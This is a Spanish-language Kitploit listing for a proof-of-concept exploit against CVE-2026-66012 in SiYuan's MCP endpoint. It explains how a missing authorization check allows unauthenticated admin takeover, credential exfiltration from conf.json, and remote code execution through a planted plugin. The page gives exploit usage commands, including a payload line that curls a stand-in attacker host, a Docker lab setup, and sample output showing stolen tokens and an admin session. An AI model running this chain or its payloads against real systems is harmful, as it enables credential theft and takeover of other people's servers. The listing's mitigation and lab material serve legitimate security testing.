Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — Exploit de toma de control de administrador no autenticado para CVE-2026-66012 mediante la falta de autorización en MCP para exfiltrar credenciales y lograr ejecución remota de código. | Kitploit
Herramientas/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
Autenticación y AutorizaciónEscalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónRed TeamingDesarrollo de Payloads

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

Exploit de toma de control de administrador no autenticado para CVE-2026-66012 mediante la falta de autorización en MCP para exfiltrar credenciales y lograr ejecución remota de código.

Ver Repositorio
14hace 1 mesAún no revisado
Compartir

CVE-2026-66012 — Toma de control del administrador sin autenticación en SiYuan MCP

Prueba de concepto para CVE-2026-66012 (CVSS 10.0 Crítico), una vulnerabilidad de autorización faltante en el endpoint MCP (Model Context Protocol) de SiYuan que permite a un atacante no autenticado lograr la toma de control del administrador y la ejecución remota de código cuando el servidor Publish está habilitado en modo anónimo.

Resumen de la vulnerabilidad

CampoValor
CVECVE-2026-66012
CVSS 3.110.0 Crítico
CWECWE-862 — Autorización faltante
AfectadoSiYuan < v3.7.2
Corregidov3.7.2 (commit df51c2bda696)
Reportado porNguyen Van Hiep (@hypnguyen1209), MBBank

Causa raíz

Tres defectos componen la cadena de ataque:

  1. POST /mcp está registrado solo con model.CheckAuth — sin CheckAdminRole ni CheckReadonly. Cualquier JWT válido (incluido el de ámbito Reader) puede invocar las 31 herramientas MCP.
  2. El despachador de herramientas (handler.go) invoca las herramientas sin inspeccionar el rol del llamante.
  3. El proxy inverso de Publish inyecta un JWT anónimo RoleReader en cada solicitud cuando Publish.Auth.Enable=false, convirtiendo el fallo de autorización faltante en uno no autenticado.

Cadena de ataque

  1. Protocolo de enlace MCP (handshake) a través de POST /mcp en el puerto de Publish (sin credenciales)
  2. Leer conf/conf.json → extraer accessAuthCode, api.token, cookieKey
  3. Plantar un plugin en data/plugins/pwn/ → RCE en el próximo inicio del escritorio mediante nodeIntegration:true
  4. Inicio de sesión de administrador en el puerto 6806 usando el accessAuthCode robado

Requisitos previos

  • Python 3.8+
  • librería requests (pip install requests)
  • Docker 20.10+ (solo para la configuración del laboratorio)

Uso

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

Configuración del laboratorio

Solo para pruebas autorizadas. Configure una instancia vulnerable localmente:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

Salida esperada

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

Mitigación

Actualice a SiYuan v3.7.2 o posterior. La corrección (commit df51c2bda696) aplica:

  1. Middleware CheckAdminRole + CheckReadonly en la ruta /mcp
  2. Bloqueo explícito del acceso a conf/conf.json en la herramienta de archivos
  3. Lista blanca de rutas en el proxy de Publish (las rutas de administración devuelven 401 para usuarios anónimos)

Referencias

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • Fix commit df51c2bd
  • VulnCheck Advisory

Aviso legal

Este PoC es únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado contra sistemas que no posee o para los cuales no tiene permiso explícito de prueba es ilegal. Los autores no son responsables del mal uso de este código.

Descargar herramienta